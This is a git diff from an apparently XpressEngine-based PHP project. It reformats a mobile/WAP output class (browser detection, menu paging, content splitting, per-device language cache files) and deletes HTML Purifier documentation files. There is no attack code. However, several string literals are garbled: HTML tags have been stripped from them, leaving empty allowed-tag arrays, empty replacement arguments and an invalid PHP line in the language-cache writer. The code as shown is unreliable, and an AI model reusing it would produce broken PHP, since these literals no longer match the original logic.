$listed_items[$parent_srl]; - if($parent_item) $this->setUpperUrl(getUrl('','mid',$parent_item['mid']), Context::getLang('cmd_go_upper')); - } - } elseif (!$this->isNavigationMode()) { - $this->setUpperUrl(getUrl('','mid',$this->index_mid,'nm','1','cmid',0), Context::getLang('cmd_view_sitemap')); - } - } - - /** - * @brief Access the browser's header to determine the return type of the browser - * Mobile browser, if not null return - **/ - function getBrowserType() { - if(Context::get('smartphone')) return null; - // Determine the type of browser - $browserAccept = $_SERVER['HTTP_ACCEPT']; - $userAgent = $_SERVER['HTTP_USER_AGENT']; - $wap_sid = $_SERVER['HTTP_X_UP_SUBNO']; - - if(preg_match("/SKT11/i", $userAgent) || preg_match("/skt/i", $browserAccept)) { - Context::set('mobile_skt',1); - return "wml"; - } - elseif(preg_match("/hdml/i", $browserAccept)) return "hdml"; - elseif(preg_match("/CellPhone/i", $userAgent)) return "mhtml"; - return null; - } - - /** - * @brief Specify charset - **/ - function setCharSet($charset = 'UTF-8') { - if(!$charset) $charset = 'UTF-8'; - // SKT supports the euc-kr - if(Context::get('mobile_skt')==1) $charset = 'euc-kr'; - - $this->charset = $charset; - } - - /** - * @brief Limited capacity of mobile devices, specifying a different virtual page - **/ - function setMobilePage($page=1) { - if(!$page) $page = 1; - $this->mobilePage = $page; - } - - /** - * @brief Mokrokhyeong child menu for specifying the data set - **/ - function setChilds($childs) { - // If more than nine the number of menu paging processing itself - $menu_count = count($childs); - if($menu_count>9) { - $startNum = ($this->mobilePage-1)*9; - $idx = 0; - $new_childs = array(); - foreach($childs as $k => $v) { - if($idx >= $startNum && $idx < $startNum+9) { - $new_childs[$k] = $v; - } - $idx ++; - } - $childs = $new_childs; - - $this->totalPage = (int)(($menu_count-1)/9)+1; - // next/prevUrl specify - if($this->mobilePage>1) { - $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage-1); - $text = sprintf('%s (%d/%d)', Context::getLang('cmd_prev'), $this->mobilePage-1, $this->totalPage); - $this->setPrevUrl($url, $text); - } - - if($this->mobilePage<$this->totalPage) { - $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage+1); - $text = sprintf('%s (%d/%d)', Context::getLang('cmd_next'), $this->mobilePage+1, $this->totalPage); - $this->setNextUrl($url, $text); - } - } - $this->childs = $childs; - } - - /** - * @brief Check the menu to be output - **/ - function hasChilds() { - return count($this->childs)?true:0; - } - - /** - * @brief Returns the child menu - **/ - function getChilds() { - return $this->childs; - } - - /** - * @brief Specify title - **/ - function setTitle($title) { - $oModuleController = &getController('module'); - $this->title = $title; - $oModuleController->replaceDefinedLangCode($this->title); - } - - /** - * @brief return title - **/ - function getTitle() { - return $this->title; - } - - /** - * @brief Content Cleanup - * In HTML content, the ability to extract text and links - **/ - function setContent($content) { - $oModuleController = &getController('module'); - $allow_tag_array = array('','
','

','','','','','','','','','',' - - - - - - - - - - - -
'); - // Links/wrap, remove all tags except gangjoman - $content = strip_tags($content, implode($allow_tag_array)); - // Margins tab removed - $content = str_replace("\t", "", $content); - // Repeat two more times the space and remove julnanumeul - $content = preg_replace('/( ){2,}/s', '', $content); - $content = preg_replace("/([\r\n]+)/s", "\r\n", $content); - $content = preg_replace(array("/","
"), array("
","
"), $content); - - while(strpos($content, '

')) { - $content = str_replace('

','
',$content); - } - // If the required size of a deck of mobile content to write down all the dividing pages - $contents = array(); - while($content) { - $tmp = $this->cutStr($content, $this->deckSize, ''); - $contents[] = $tmp; - $content = substr($content, strlen($tmp)); - - //$content = str_replace(array('&','<','>','"','&nbsp;'), array('&','<','>','"',' '), $content); - - foreach($allow_tag_array as $tag) { - if($tag == '
') continue; - $tag_open_pos = strpos($content, str_replace('>','',$tag)); - $tag_close_pos = strpos($content, str_replace('<','totalPage = count($contents); - // next/prevUrl specify - if($this->mobilePage>1) { - $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage-1); - $text = sprintf('%s (%d/%d)', Context::getLang('cmd_prev'), $this->mobilePage-1, $this->totalPage); - $this->setPrevUrl($url, $text); - } - - if($this->mobilePage<$this->totalPage) { - $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage+1); - $text = sprintf('%s (%d/%d)', Context::getLang('cmd_next'), $this->mobilePage+1, $this->totalPage); - $this->setNextUrl($url, $text); - } - - $this->content = $contents[$this->mobilePage-1]; - $oModuleController->replaceDefinedLangCode($this->content); - $content = str_replace(array('$','\''), array('$$','''), $content); - } - - /** - * @brief cutting the number of byte functions - **/ - function cutStr($string, $cut_size) { - return preg_match('/.{'.$cut_size.'}/su', $string, $arr) ? $arr[0] : $string; - } - - /** - * @brief Return content - **/ - function getContent() { - return $this->content; - } - - /** - * @brief Specifies the home url - **/ - function setHomeUrl($url, $text) { - if(!$url) $url = '#'; - $this->homeUrl->url = $url; - $this->homeUrl->text = $text; - } - - /** - * @brief Specify upper url - **/ - function setUpperUrl($url, $text) { - if(!$url) $url = '#'; - $this->upperUrl->url = $url; - $this->upperUrl->text = $text; - } - - /** - * @brief Specify prev url - **/ - function setPrevUrl($url, $text) { - if(!$url) $url = '#'; - $this->prevUrl->url = $url; - $this->prevUrl->text = $text; - } - - /** - * @brief Specify next url - **/ - function setNextUrl($url, $text) { - if(!$url) $url = '#'; - $this->nextUrl->url = $url; - $this->nextUrl->text = $text; - } - - /** - * @brief Next, Previous, Top button assignments other than - **/ - function setEtcBtn($url, $text) { - if(!$url) $url = '#'; - $etc['url'] = $url; - $etc['text'] = htmlspecialchars($text); - $this->etcBtn[] = $etc; - } - - /** - * @brief display - **/ - function display() { - // Home button assignments - $this->setHomeUrl(getUrl(), Context::getLang('cmd_go_home')); - // Specify the title - if(!$this->title) $this->setTitle(Context::getBrowserTitle()); - - ob_start(); - // Output header - $this->printHeader(); - // Output title - $this->printTitle(); - // Information output - $this->printContent(); - // Button output - $this->printBtn(); - // Footer output - $this->printFooter(); - - $content = ob_get_clean(); - // After conversion output - if(strtolower($this->charset) == 'utf-8') print $content; - else print iconv('UTF-8',$this->charset."//TRANSLIT//IGNORE", $content); - - exit(); - } - - /** - * @brief Move page - **/ - function movepage($url) { - header("location:$url"); - exit(); - } - - /** - * @brief And returns a list of serial numbers in - **/ - function getNo() { - $this->no++; - $str = $this->no; - return $str; - } - - /** - * @brief XE is easy to use Menu module is relieved during the function, value - **/ - function getListedItems($menu, &$listed_items, &$node_list) { - if(!count($menu)) return; - foreach($menu as $node_srl => $item) { - if(preg_match('/^([a-zA-Z0-9\_\-]+)$/', $item['url'])) { - $mid = $item['mid'] = $item['url']; - $node_list[$mid] = $node_srl; - } else { - $mid = $item['mid'] = null; - } - - $listed_items[$node_srl] = $item; - $this->getListedItems($item['list'], $listed_items, $node_list); - } - } - - /** - * @brief XE navigation output - **/ - function displayNavigationContent() { - $childs = array(); - - if($this->cmid) { - $cur_item = $this->listed_items[$this->cmid]; - $upper_srl = $cur_item['parent_srl'];; - $list = $cur_item['list'];; - $this->setUpperUrl(getUrl('cmid',$upper_srl), Context::getLang('cmd_go_upper')); - if(preg_match('/^([a-zA-Z0-9\_\-]+)$/', $cur_item['url'])) { - $obj = null; - $obj['href'] = getUrl('','mid',$cur_item['url']); - $obj['link'] = $obj['text'] = '['.$cur_item['text'].']'; - $childs[] = $obj; - } - - } else { - $list = $this->menu; - $upper_srl = 0; - } - - - if(count($list)) { - foreach($list as $key => $val) { - if(!$val['text']) continue; - $obj = null; - if(!count($val['list'])) { - $obj['href'] = getUrl('','mid',$val['url']); - } else { - $obj['href'] = getUrl('cmid',$val['node_srl']); - } - $obj['link'] = $obj['text'] = $val['text']; - $childs[] = $obj; - } - $this->setChilds($childs); - } - // Output - $this->display(); - } - - /** - * @brief Language Settings menu, the output - **/ - function displayLangSelect() { - $childs = array(); - - $this->lang = FileHandler::readFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); - if($this->lang) { - $this->lang = str_replace(array(''),array('',''),$this->lang); - Context::setLangType($this->lang); - } - $lang_supported = Context::get('lang_supported'); - $lang_type = Context::getLangType(); - $obj = null; - $obj['link'] = $obj['text'] = Context::getLang('president_lang').' : '.$lang_supported[$lang_type]; - $obj['href'] = getUrl('sel_lang',$lang_type); - $childs[] = $obj; - - if(is_array($lang_supported)) { - foreach($lang_supported as $key => $val) { - $obj = null; - $obj['link'] = $obj['text'] = $val; - $obj['href'] = getUrl('sel_lang',$key); - $childs[] = $obj; - } - } - - $this->setChilds($childs); - - $this->display(); - } - - /** - * @brief Module to create a class object of the WAP WAP ready - **/ - function displayModuleContent() { - // Create WAP class objects of the selected module - $oModule = &getWap($this->module_info->module); - if(!$oModule || !method_exists($oModule, 'procWAP') ) return; - - $vars = get_object_vars($this->oModule); - if(count($vars)) foreach($vars as $key => $val) $oModule->{$key} = $val; - // Run - $oModule->procWAP($this); - // Output - $this->display(); - } - - /** - * @brief WAP content is available as a separate output if the final results - **/ - function displayContent() { - Context::set('layout','none'); - // Compile a template - $oTemplate = new TemplateHandler(); - $oContext = &Context::getInstance(); - - $content = $oTemplate->compile($this->oModule->getTemplatePath(), $this->oModule->getTemplateFile()); - $this->setContent($content); - // Output - $this->display(); - } - } -?> +/** + * Mobile XE Library Class ver 0.1 + * @author NHN (developers@xpressengine.com) / lang_select : misol + * @brief XE library for WAP tag output + */ +class mobileXE +{ + // Base url + var $homeUrl = NULL; + var $upperUrl = NULL; + var $nextUrl = NULL; + var $prevUrl = NULL; + var $etcBtn = NULL; + // Variable for menu navigation + var $childs = null; + // Basic variable + var $title = NULL; + var $content = NULL; + var $mobilePage = 0; + var $totalPage = 1; + var $charset = 'UTF-8'; + var $no = 0; + // Navigation-related variables + var $menu = null; + var $listed_items = null; + var $node_list = null; + var $index_mid = null; + // Navigation On/Off status value + var $navigationMode = 0; + // XE module information currently requested + var $module_info = null; + // Currently running instance of the module + var $oModule = null; + + // Deck size + var $deckSize = 1024; + // Changing the language setting + var $languageMode = 0; + var $lang = null; + /** + * @brief getInstance + */ + function &getInstance() + { + static $instance = null; + + if(!$instance) + { + + $browserType = mobileXE::getBrowserType(); + if(!$browserType) return; + + $class_file = sprintf('%saddons/mobile/classes/%s.class.php', _XE_PATH_, $browserType); + require_once($class_file); + // Download mobile language settings (cookies, not willing to come up when you click create cache file ...- is initialized ..) + $this->lang = FileHandler::readFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); + if($this->lang) + { + $lang_supported = Context::get('lang_supported'); + $this->lang = str_replace(array(''),array('',''),$this->lang); + if(isset($lang_supported[$this->lang])) Context::setLangType($this->lang); + } + Context::loadLang(_XE_PATH_.'addons/mobile/lang'); + + $instance = new wap(); + + $mobilePage = (int)Context::get('mpage'); + if(!$mobilePage) $mobilePage = 1; + + $instance->setMobilePage($mobilePage); + } + return $instance; + } + + /** + * @brief constructor + */ + function mobileXE() + { + // Check navigation mode + if(Context::get('nm')) + { + $this->navigationMode = 1; + $this->cmid = (int)Context::get('cmid'); + } + + if(Context::get('lcm')) + { + $this->languageMode = 1; + $this->lang = Context::get('sel_lang'); + } + } + + /** + * @brief Check navigation mode + * navigationMode settings and modules of information must be menu_srl return to navigation mode = true + */ + function isNavigationMode() + { + return ($this->navigationMode && $this->module_info->menu_srl)?true:false; + } + + /** + * @brief Check langchange mode + * true return should be set languageMode + */ + function isLangChange() + { + if($this->languageMode) return true; + else return false; + } + + /** + * @brief Language settings + * Cookies Since you set your phone to store language-specific file, file creation + */ + function setLangType() + { + $lang_supported = Context::get('lang_supported'); + // Make sure that the language variables and parameters are valid + if($this->lang && isset($lang_supported[$this->lang])) + { + $langbuff = FileHandler::readFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); + if($langbuff) FileHandler::removeFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); + $langbuff = 'lang.'**/ ?>'; + FileHandler::writeFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php',$langbuff); + } + } + + /** + * @brief Information currently requested module settings + */ + function setModuleInfo(&$module_info) + { + if($this->module_info) return; + $this->module_info = $module_info; + } + + /** + * @brief Set the module instance is currently running + */ + function setModuleInstance(&$oModule) + { + if($this->oModule) return; + // Save instance + $this->oModule = $oModule; + // Of the current module if there is a menu by menu + $menu_cache_file = sprintf(_XE_PATH_.'files/cache/menu/%d.php', $this->module_info->menu_srl); + if(!file_exists($menu_cache_file)) return; + + include $menu_cache_file; + // One-dimensional arrangement of menu changes + $this->getListedItems($menu->list, $listed_items, $node_list); + + $this->listed_items = $listed_items; + $this->node_list = $node_list; + $this->menu = $menu->list; + + $k = array_keys($node_list); + $v = array_values($node_list); + $this->index_mid = $k[0]; + // The depth of the current menu, the top button to specify if one or more + $cur_menu_item = $listed_items[$node_list[$this->module_info->mid]]; + if($cur_menu_item['parent_srl']) + { + $parent_srl = $cur_menu_item['parent_srl']; + if($parent_srl && $listed_items[$parent_srl]) + { + $parent_item = $listed_items[$parent_srl]; + if($parent_item) $this->setUpperUrl(getUrl('','mid',$parent_item['mid']), Context::getLang('cmd_go_upper')); + } + } + elseif (!$this->isNavigationMode()) + { + $this->setUpperUrl(getUrl('','mid',$this->index_mid,'nm','1','cmid',0), Context::getLang('cmd_view_sitemap')); + } + } + + /** + * @brief Access the browser's header to determine the return type of the browser + * Mobile browser, if not null return + */ + function getBrowserType() + { + if(Context::get('smartphone')) return null; + // Determine the type of browser + $browserAccept = $_SERVER['HTTP_ACCEPT']; + $userAgent = $_SERVER['HTTP_USER_AGENT']; + $wap_sid = $_SERVER['HTTP_X_UP_SUBNO']; + + if(preg_match("/SKT11/i", $userAgent) || preg_match("/skt/i", $browserAccept)) + { + Context::set('mobile_skt',1); + return "wml"; + } + elseif(preg_match("/hdml/i", $browserAccept)) return "hdml"; + elseif(preg_match("/CellPhone/i", $userAgent)) return "mhtml"; + return null; + } + + /** + * @brief Specify charset + */ + function setCharSet($charset = 'UTF-8') + { + if(!$charset) $charset = 'UTF-8'; + // SKT supports the euc-kr + if(Context::get('mobile_skt')==1) $charset = 'euc-kr'; + + $this->charset = $charset; + } + + /** + * @brief Limited capacity of mobile devices, specifying a different virtual page + */ + function setMobilePage($page=1) + { + if(!$page) $page = 1; + $this->mobilePage = $page; + } + + /** + * @brief Mokrokhyeong child menu for specifying the data set + */ + function setChilds($childs) + { + // If more than nine the number of menu paging processing itself + $menu_count = count($childs); + if($menu_count>9) + { + $startNum = ($this->mobilePage-1)*9; + $idx = 0; + $new_childs = array(); + foreach($childs as $k => $v) + { + if($idx >= $startNum && $idx < $startNum+9) + { + $new_childs[$k] = $v; + } + $idx ++; + } + $childs = $new_childs; + + $this->totalPage = (int)(($menu_count-1)/9)+1; + // next/prevUrl specify + if($this->mobilePage>1) + { + $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage-1); + $text = sprintf('%s (%d/%d)', Context::getLang('cmd_prev'), $this->mobilePage-1, $this->totalPage); + $this->setPrevUrl($url, $text); + } + + if($this->mobilePage<$this->totalPage) + { + $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage+1); + $text = sprintf('%s (%d/%d)', Context::getLang('cmd_next'), $this->mobilePage+1, $this->totalPage); + $this->setNextUrl($url, $text); + } + } + $this->childs = $childs; + } + + /** + * @brief Check the menu to be output + */ + function hasChilds() + { + return count($this->childs)?true:0; + } + + /** + * @brief Returns the child menu + */ + function getChilds() + { + return $this->childs; + } + + /** + * @brief Specify title + */ + function setTitle($title) + { + $oModuleController = &getController('module'); + $this->title = $title; + $oModuleController->replaceDefinedLangCode($this->title); + } + + /** + * @brief return title + */ + function getTitle() + { + return $this->title; + } + + /** + * @brief Content Cleanup + * In HTML content, the ability to extract text and links + */ + function setContent($content) + { + $oModuleController = &getController('module'); + $allow_tag_array = array('
','
','

','','','','','','','','','',' - - - - - -
- -
-
- -
- - -
- - - - - -
  • - on lines - - - , - - -
  • -
    - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  • -
    - - - - diff --git a/classes/security/htmlpurifier/configdoc/types.xml b/classes/security/htmlpurifier/configdoc/types.xml deleted file mode 100644 index ee2c945a1..000000000 --- a/classes/security/htmlpurifier/configdoc/types.xml +++ /dev/null @@ -1,69 +0,0 @@ - - - -
    - A series of case-insensitive characters. Internally, upper-case - ASCII characters will be converted to lower-case. -
    -
    - A series of characters that may contain newlines. Text tends to - indicate human-oriented text, as opposed to a machine format. -
    -
    - A series of case-insensitive characters that may contain newlines. -
    -
    - An - integer. You are alternatively permitted to pass a string of - digits instead, which will be cast to an integer using - (int). -
    -
    - A - floating point number. You are alternatively permitted to - pass a numeric string (as defined by is_numeric()), - which will be cast to a float using (float). -
    -
    - A boolean. - You are alternatively permitted to pass an integer 0 or - 1 (other integers are not permitted) or a string - "on", "true" or "1" for - true, and "off", "false" or - "0" for false. -
    -
    - An array whose values are true, e.g. array('key' - => true, 'key2' => true). You are alternatively permitted - to pass an array list of the keys array('key', 'key2') - or a comma-separated string of keys "key, key2". If - you pass an array list of values, ensure that your values are - strictly numerically indexed: array('key1', 2 => - 'key2') will not do what you expect and emits a warning. -
    -
    - An array which has consecutive integer indexes, e.g. - array('val1', 'val2'). You are alternatively permitted - to pass a comma-separated string of keys "val1, val2". - If your array is not in this form, array_values is run - on the array and a warning is emitted. -
    -
    - An array which is a mapping of keys to values, e.g. - array('key1' => 'val1', 'key2' => 'val2'). You are - alternatively permitted to pass a comma-separated string of - key-colon-value strings, e.g. "key1: val1, key2: val2". -
    -
    - An arbitrary PHP value of any type. -
    -
    - - diff --git a/classes/security/htmlpurifier/configdoc/usage.xml b/classes/security/htmlpurifier/configdoc/usage.xml deleted file mode 100644 index 1c77b8f4e..000000000 --- a/classes/security/htmlpurifier/configdoc/usage.xml +++ /dev/null @@ -1,534 +0,0 @@ - - - - - 131 - - - 81 - 284 - - - 53 - 73 - 348 - - - 50 - - - - - 157 - - - - - 214 - - - - - 218 - - - - - 222 - - - - - 226 - - - - - 296 - - - - - 310 - - - - - 49 - - - - - 83 - - - - - 85 - - - - - 88 - - - - - 93 - - - - - 337 - 367 - - - - - 341 - 374 - - - - - 368 - - - - - 61 - - - - - 62 - - - - - 63 - - - - - 64 - - - - - 93 - - - - - 107 - - - 266 - - - - - 108 - - - - - 222 - - - - - 230 - - - - - 247 - - - - - 248 - - - - - 251 - - - - - 342 - - - - - 343 - - - - - 204 - - - 271 - - - 27 - - - 36 - - - 23 - - - - - 211 - - - - - 212 - - - - - 222 - - - - - 225 - - - - - 228 - - - - - 231 - - - - - 234 - - - - - 26 - - - - - 88 - - - - - 76 - - - - - 80 - - - 48 - - - - - 282 - - - - - 303 - - - - - 59 - - - 12 - - - - - 69 - - - 81 - - - - - 70 - - - - - 77 - - - - - 41 - - - - - 42 - - - - - 28 - - - - - 12 - - - 12 - - - - - 50 - - - - - 18 - - - - - 19 - - - - - 15 - - - - - 30 - - - - - 36 - - - - - 38 - 41 - - - - - 64 - - - - - 30 - - - - - 67 - - - - - 13 - - - - - 18 - - - 20 - - - - - 19 - - - - - 25 - - - - - 33 - - - - - 11 - - - 13 - - - - - 38 - - - - - 62 - - - - - 91 - - - - - 107 - 124 - - - - - 54 - - - - - 78 - - - - - 276 - - - - - 17 - - - 23 - - - - - 14 - - - 13 - - - 19 - - - - - 45 - - - - - 49 - - - - - 50 - - - - - 15 - - - - - 12 - - - - - 13 - - - - - 44 - - - - - 70 - - - - - 53 - - - 19 - - - - - 24 - - - - - 25 - - - - - 28 - - - - - 29 - - - - - 12 - - - - - 14 - - - - - 15 - - - - - 18 - - - diff --git a/classes/security/htmlpurifier/docs/dev-advanced-api.html b/classes/security/htmlpurifier/docs/dev-advanced-api.html deleted file mode 100644 index 5b7aaa3c8..000000000 --- a/classes/security/htmlpurifier/docs/dev-advanced-api.html +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - -Advanced API - HTML Purifier - - - -

    Advanced API

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - Please see Customize! -

    - - - - diff --git a/classes/security/htmlpurifier/docs/dev-code-quality.txt b/classes/security/htmlpurifier/docs/dev-code-quality.txt deleted file mode 100644 index bceedebc4..000000000 --- a/classes/security/htmlpurifier/docs/dev-code-quality.txt +++ /dev/null @@ -1,29 +0,0 @@ - -Code Quality Issues - -Okay, face it. Programmers can get lazy, cut corners, or make mistakes. They -also can do quick prototypes, and then forget to rewrite them later. Well, -while I can't list mistakes in here, I can list prototype-like segments -of code that should be aggressively refactored. This does not list -optimization issues, that needs to be done after intense profiling. - -docs/examples/demo.php - ad hoc HTML/PHP soup to the extreme - -AttrDef - a lot of duplication, more generic classes need to be created; -a lot of strtolower() calls, no legit casing - Class - doesn't support Unicode characters (fringe); uses regular expressions - Lang - code duplication; premature optimization - Length - easily mistaken for CSSLength - URI - multiple regular expressions; missing validation for parts (?) - CSS - parser doesn't accept advanced CSS (fringe) - Number - constructor interface inconsistent with Integer -Strategy - FixNesting - cannot bubble nodes out of structures, duplicated checks - for special-case parent node - RemoveForeignElements - should be run in parallel with MakeWellFormed -URIScheme - needs to have callable generic checks - mailto - doesn't validate emails, doesn't validate querystring - news - doesn't validate opaque path - nntp - doesn't constrain path - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/dev-config-bcbreaks.txt b/classes/security/htmlpurifier/docs/dev-config-bcbreaks.txt deleted file mode 100644 index 29a58ca2f..000000000 --- a/classes/security/htmlpurifier/docs/dev-config-bcbreaks.txt +++ /dev/null @@ -1,79 +0,0 @@ - -Configuration Backwards-Compatibility Breaks - -In version 4.0.0, the configuration subsystem (composed of the outwards -facing Config class, as well as the ConfigSchema and ConfigSchema_Interchange -subsystems), was significantly revamped to make use of property lists. -While most of the changes are internal, some internal APIs were changed for the -sake of clarity. HTMLPurifier_Config was kept completely backwards compatible, -although some of the functions were retrofitted with an unambiguous alternate -syntax. Both of these changes are discussed in this document. - - - -1. Outwards Facing Changes --------------------------------------------------------------------------------- - -The HTMLPurifier_Config class now takes an alternate syntax. The general rule -is: - - If you passed $namespace, $directive, pass "$namespace.$directive" - instead. - -An example: - - $config->set('HTML', 'Allowed', 'p'); - -becomes: - - $config->set('HTML.Allowed', 'p'); - -New configuration options may have more than one namespace, they might -look something like %Filter.YouTube.Blacklist. While you could technically -set it with ('HTML', 'YouTube.Blacklist'), the logical extension -('HTML', 'YouTube', 'Blacklist') does not work. - -The old API will still work, but will emit E_USER_NOTICEs. - - - -2. Internal API Changes --------------------------------------------------------------------------------- - -Some overarching notes: we've completely eliminated the notion of namespace; -it's now an informal construct for organizing related configuration directives. - -Also, the validation routines for keys (formerly "$namespace.$directive") -have been completely relaxed. I don't think it really should be necessary. - -2.1 HTMLPurifier_ConfigSchema - -First off, if you're interfacing with this class, you really shouldn't. -HTMLPurifier_ConfigSchema_Builder_ConfigSchema is really the only class that -should ever be creating HTMLPurifier_ConfigSchema, and HTMLPurifier_Config the -only class that should be reading it. - -All namespace related methods were removed; they are completely unnecessary -now. Any $namespace, $name arguments must be replaced with $key (where -$key == "$namespace.$name"), including for addAlias(). - -The $info and $defaults member variables are no longer indexed as -[$namespace][$name]; they are now indexed as ["$namespace.$name"]. - -All deprecated methods were finally removed, after having yelled at you as -an E_USER_NOTICE for a while now. - -2.2 HTMLPurifier_ConfigSchema_Interchange - -Member variable $namespaces was removed. - -2.3 HTMLPurifier_ConfigSchema_Interchange_Id - -Member variable $namespace and $directive removed; member variable $key added. -Any method that took $namespace, $directive now takes $key. - -2.4 HTMLPurifier_ConfigSchema_Interchange_Namespace - -Removed. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/dev-config-naming.txt b/classes/security/htmlpurifier/docs/dev-config-naming.txt deleted file mode 100644 index 66db5bce3..000000000 --- a/classes/security/htmlpurifier/docs/dev-config-naming.txt +++ /dev/null @@ -1,164 +0,0 @@ -Configuration naming - -HTML Purifier 4.0.0 features a new configuration naming system that -allows arbitrary nesting of namespaces. While there are certain cases -in which using two namespaces is obviously better (the canonical example -is where we were using AutoFormatParam to contain directives for AutoFormat -parameters), it is unclear whether or not a general migration to highly -namespaced directives is a good idea or not. - -== Case studies == - -=== Attr.* === - -We have a dead duck HTML.Attr.Name.UseCDATA which migrated before we decided -to think this out thoroughly. - -We currently have a large number of directives in the Attr.* namespace. -These directives tweak the behavior of some HTML attributes. They have -the properties: - -* While they apply to only one attribute at a time, the attribute can - span over multiple elements (not necessarily all attributes, either). - The information of which elements it impacts is either omitted or - informally stated (EnableID applies to all elements, DefaultImageAlt - applies to tags, AllowedRev doesn't say but only applies to a tags). - -* There is a certain degree of clustering that could be applied, especially - to the ID directives. The clustering could be done with respect to - what element/attribute was used, i.e. - - *.id -> EnableID, IDBlacklistRegexp, IDBlacklist, IDPrefixLocal, IDPrefix - img.src -> DefaultInvalidImage - img.alt -> DefaultImageAlt, DefaultInvalidImageAlt - bdo.dir -> DefaultTextDir - a.rel -> AllowedRel - a.rev -> AllowedRev - a.target -> AllowedFrameTargets - a.name -> Name.UseCDATA - -* The directives often reference generic attribute types that were specified - in the DTD/specification. However, some of the behavior specifically relies - on the fact that other use cases of the attribute are not, at current, - supported by HTML Purifier. - - AllowedRel, AllowedRev -> heavily specific; if ends up being - allowed, we will also have to give users specificity there (we also - want to preserve generality) DTD %Linktypes, HTML5 distinguishes - between and / - AllowedFrameTargets -> heavily specific, but also used by - and
    . Transitional DTD %FrameTarget, not present in strict, - HTML5 calls them "browsing contexts" - Default*Image* -> as a default parameter, is almost entirely exlcusive - to - EnableID -> global attribute - Name.UseCDATA -> heavily
    specific, but has heavy other usage by - many things - -== AutoFormat.* == - -These have the fairly normal pluggable architecture that lends itself to -large amounts of namespaces (pluggability may be the key to figuring -out when gratuitous namespacing is good.) Properties: - -* Boolean directives are fair game for being namespaced: for example, - RemoveEmpty.RemoveNbsp triggers RemoveEmpty.RemoveNbsp.Exceptions, - the latter of which only makes sense when RemoveEmpty.RemoveNbsp - is set to true. (The same applies to RemoveNbsp too) - -The AutoFormat string is a bit long, but is the only bit of repeated -context. - -== Core.* == - -Core is the potpourri of directives, mostly regarding some minor behavioral -tweaks for HTML handling abilities. - - AggressivelyFixLt - ConvertDocumentToFragment - DirectLexLineNumberSyncInterval - LexerImpl - MaintainLineNumbers - Lexer - CollectErrors - Language - Error handling (Language is ostensibly a little more general, but - it's only used for error handling right now) - ColorKeywords - CSS and HTML - Encoding - EscapeNonASCIICharacters - Character encoding - EscapeInvalidChildren - EscapeInvalidTags - HiddenElements - RemoveInvalidImg - Lexing/Output - RemoveScriptContents - Deprecated - -== HTML.* == - - AllowedAttributes - AllowedElements - AllowedModules - Allowed - ForbiddenAttributes - ForbiddenElements - Element set tuning - BlockWrapper - Child def advanced twiddle - CoreModules - CustomDoctype - Advanced HTMLModuleManager twiddles - DefinitionID - DefinitionRev - Caching - Doctype - Parent - Strict - XHTML - Global environment - MaxImgLength - Attribute twiddle? (applies to two attributes) - Proprietary - SafeEmbed - SafeObject - Trusted - Extra functionality/tagsets - TidyAdd - TidyLevel - TidyRemove - Tidy - -== Output.* == - -These directly affect the output of Generator. These are all advanced -twiddles. - -== URI.* == - - AllowedSchemes - OverrideAllowedSchemes - Scheme tuning - Base - DefaultScheme - Host - Global environment - DefinitionID - DefinitionRev - Caching - DisableExternalResources - DisableExternal - DisableResources - Disable - Contextual/authority tuning - HostBlacklist - Authority tuning - MakeAbsolute - MungeResources - MungeSecretKey - Munge - Transformation behavior (munge can be grouped) - - diff --git a/classes/security/htmlpurifier/docs/dev-config-schema.html b/classes/security/htmlpurifier/docs/dev-config-schema.html deleted file mode 100644 index 07aecd35a..000000000 --- a/classes/security/htmlpurifier/docs/dev-config-schema.html +++ /dev/null @@ -1,412 +0,0 @@ - - - - - - - - Config Schema - HTML Purifier - - - -

    Config Schema

    - -
    Filed under Development
    -
    -
    HTML Purifier End-User Documentation
    - -

    - HTML Purifier has a fairly complex system for configuration. Users - interact with a HTMLPurifier_Config object to - set configuration directives. The values they set are validated according - to a configuration schema, HTMLPurifier_ConfigSchema. -

    - -

    - The schema is mostly transparent to end-users, but if you're doing development - work for HTML Purifier and need to define a new configuration directive, - you'll need to interact with it. We'll also talk about how to define - userspace configuration directives at the very end. -

    - -

    Write a directive file

    - -

    - Directive files define configuration directives to be used by - HTML Purifier. They are placed in library/HTMLPurifier/ConfigSchema/schema/ - in the form Namespace.Directive.txt (I - couldn't think of a more descriptive file extension.) - Directive files are actually what we call StringHashes, - i.e. associative arrays represented in a string form reminiscent of - PHPT tests. Here's a - sample directive file, Test.Sample.txt: -

    - -
    Test.Sample
    -TYPE: string/null
    -DEFAULT: NULL
    -ALLOWED: 'foo', 'bar'
    -VALUE-ALIASES: 'baz' => 'bar'
    -VERSION: 3.1.0
    ---DESCRIPTION--
    -This is a sample configuration directive for the purposes of the
    -<code>dev-config-schema.html<code> documentation.
    ---ALIASES--
    -Test.Example
    - -

    - Each of these segments has a specific meaning: -

